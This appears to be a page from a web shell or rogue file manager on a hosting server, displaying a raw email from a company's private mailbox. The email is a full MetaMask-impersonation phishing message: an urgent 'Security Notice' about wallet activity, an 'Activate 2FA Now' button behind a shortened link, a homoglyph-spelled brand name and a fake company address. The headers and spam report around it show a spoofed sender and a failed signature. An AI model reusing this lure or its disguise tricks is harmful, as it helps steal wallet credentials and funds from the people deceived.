HEX
Server: LiteSpeed
System: Linux starfruit.7ho.st 3.10.0-962.3.2.lve1.5.88.el7.x86_64 #1 SMP Fri Sep 26 14:06:42 UTC 2025 x86_64
User: edtir (1699)
PHP: 7.4.33
Disabled: show_source, system, shell_exec, passthru, exec, popen, proc_open
Upload Files
File: /home/edtir/mail/.info@metal-sanat_com/new/1763240543.M568079P13329.starfruit.7ho.st,S=7361,W=7481
Return-Path: <postmaster@285ab48261.nxcli.io>
Delivered-To: info@metal-sanat.com
Received: from starfruit.7ho.st
	by starfruit.7ho.st with LMTP
	id a17pIF/qGGkRNAAAeMCD9A
	(envelope-from <postmaster@285ab48261.nxcli.io>)
	for <info@metal-sanat.com>; Sun, 16 Nov 2025 00:32:23 +0330
Return-path: <postmaster@285ab48261.nxcli.io>
Envelope-to: info@metal-sanat.com
Delivery-date: Sun, 16 Nov 2025 00:32:23 +0330
Received: from cloudhost-10614156.us-midwest-1.nxcli.net ([8.29.154.53]:40314)
	by starfruit.7ho.st with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
	(Exim 4.96.2)
	(envelope-from <postmaster@285ab48261.nxcli.io>)
	id 1vKNPe-0003LT-1X
	for info@metal-sanat.com;
	Sun, 16 Nov 2025 00:32:23 +0330
Comment: DomainKeys? See http://domainkeys.sourceforge.net/
DomainKey-Signature: a=rsa-sha256; q=dns; c=nofws;
  s=default; d=285ab48261.nxcli.io;
  b=UBmO+mF89G/cfOMGjdm+KuYlioNr7Hpr9/kwWYuihMIzsfONEnTyE6fNcHthcSg8BZweyStvZzOt2QnYstZO+Kpm29Bkpb1W5BO9ck59vid8ACPqiBnCNY++HpN4f4cm/iCBy3H4LPL3kzPL1dJEzlCMMafZkiCIT4watZ9lH50s0Gj3TpEUNMkQlT1f0btSCe7SkbxC12Xbh/XM9QVL+y3JJJmjdvBsORlaW05TvqvmY4DaUyyul3FIeWKfq2nW4Y0aED+eU90GWjk3x+8DFpyuYBe/NCbHrVkNnRhx5cjYxMblLessiZtrBxsY78Z/WTqWWk4d8rm1CqZRqwhLhQ==;
  h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:From:Reply-To:MIME-Version:Content-Type:X-Mailer:X-Priority:List-Unsubscribe;
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed; d=285ab48261.nxcli.io; h=
	date:message-id:to:subject:from:reply-to:mime-version
	:content-type:list-unsubscribe; s=default; bh=Pu5Q50nJkoLNx/Gz0f
	+lWhAPyAoQ5mKS44oW0IbI/3s=; b=z8UddEAAS6ckjKhKJncAO0L5r2vMnaSnVs
	zvpwdLytJXc9ty+5Kb787tx17vsl9O3tQcYs4NVUzNgYZoWG9CDITBoRUxErZQcB
	Db1YiJQ0t/lmPH2E+P/XIQWOs2jllxMt4rbHg9iatr+jgtqe0xDWYtbTK5wx4T2R
	zps2QRhYOW66XIKFoy/dpVz46qekNGIpxLgbM8iHcvfJSazBnqMKsH+oc+p7OUCm
	Ll7rh6cpgUsBGkd9Wcf2JMfFeZFBtVqJFBqO149RNMpdwx6FH5hvmljE/wcp5uvG
	VsA3Gz3amyHagHATePN584UB+tsQZd1f39WoPk1V48Q2lc2Sq6Lw==
Received: (qmail 719154 invoked by uid 10082); 15 Nov 2025 20:52:03 +0000
Date: 15 Nov 2025 20:52:03 +0000
Message-ID: <20251115205203.719147.qmail@cloudhost-10614156.us-midwest-1.nxcli.net>
To: info@metal-sanat.com
Subject: Urgent: Account Verification Required
X-PHP-Originating-Script: 10082:done.php
From: "CryptoGuardAlert" <3r3uwwhm@fhd.io>
Reply-To: 3r3uwwhm@fhd.io
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
X-Mailer: PHP/8.2.29
X-Priority: 3
List-Unsubscribe: <mailto:unsubscribe@3r3uwwhm@fhd.io>
X-Spam-Status: No, score=1.6
X-Spam-Score: 16
X-Spam-Bar: +
X-Ham-Report: Spam detection software, running on the system "starfruit.7ho.st",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  Security Notice We've detected suspicious behavior linked
    to your wallet. To enhance security, we recommend activating Two-Factor Authentication
    (2FA). 2FA helps protect your assets even if someone knows your password.
    
 Content analysis details:   (1.6 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: nxcli.io]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [8.29.154.53 listed in bl.score.senderscore.com]
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
                             The query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                            [8.29.154.53 listed in sa-trusted.bondedsender.org]
  0.0 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level
                             mail domains are different
  1.3 HTML_IMAGE_ONLY_24     BODY: HTML: images with 2000-2400 bytes of
                             words
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or
                             identical to background
  0.1 MIME_HTML_ONLY         BODY: Message only has text/html MIME parts
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
  0.1 DKIM_INVALID           DKIM or DK signature exists, but is not valid
  0.0 KAM_SHORT              Use of a URL Shortener for very short URL
  0.0 KAM_DMARC_STATUS       Test Rule for DKIM or SPF Failure with Strict
                             Alignment
X-Spam-Flag: NO


<!DOCTYPE html>
<html lang="en">
<p>&nbsp;</p>
<table style="max-width: 600px; margin: 40px auto; background: #ffffff; border: 1px solid #dddddd; border-radius: 8px; width: 100%;" width="100%" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td style="padding: 20px; text-align: center; width: 100%;"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcT3ymr3UNKopfI0NmUY95Dr-0589vG-91KuAA&amp;s" alt="MetaMask Logo and Brand Assets, The Leading Crypto Wallet" width="94" height="91" /><br />
<h2 style="color: #f6851b; font-size: 18px; margin: 10px 0 0;">&nbsp;Security Notice</h2>
</td>
</tr>
<tr>
<td style="padding: 20px; font-size: 15px; line-height: 1.6; width: 100%;">
<p>We've detected suspicious behavior linked to your wallet. To enhance security, we recommend activating Two-Factor Authentication (2FA).</p>
<p>2FA helps protect your assets even if someone knows your password.</p>
<div style="text-align: center; margin: 26px 0;"><a style="background: #f6851b; color: #fff; padding: 12px 20px; border-radius: 4px; text-decoration: none; font-weight: bold; display: inline-block;" href="https://t.co/IENW4qHzre?id=4529324173836352634-8570">Activate 2FA Now</a></div>
<p>If you did not request this, no action is needed.</p>
</td>
</tr>
<tr>
<td style="padding: 20px 30px; text-align: center; color: #999999; font-size: 12px; line-height: 1.5; border-top: 1px solid #eeeeee; width: 100%;">
<p style="margin: 0 0 10px;">&copy; 2025 MetaMаsk. All rights reserved.</p>
<p style="margin: 0 0 10px;">MetaMask LLC | 123 Crypto Plaza, Suite 500<br />San Francisco, CA 94105, USA</p>
<p style="margin: 0 0 10px;"><a style="color: #999; text-decoration: none; margin: 0 10px;" href="#">Privacy Policy</a> | <a style="color: #999; text-decoration: none; margin: 0 10px;" href="#">Terms of Service</a> | <a style="color: #999; text-decoration: none; margin: 0 10px;" href="#">Help Center</a></p>
<p style="margin: 0;"><a style="color: #999; text-decoration: underline;" href="https://MetaMask.io/help">Unsubscribe</a> from security notifications</p>
<p style="margin: 10px 0 0; font-size: 11px; color: #ccc;">This is an automated security message. Please do not reply to this email.</p>
</td>
</tr>
</tbody>
</table>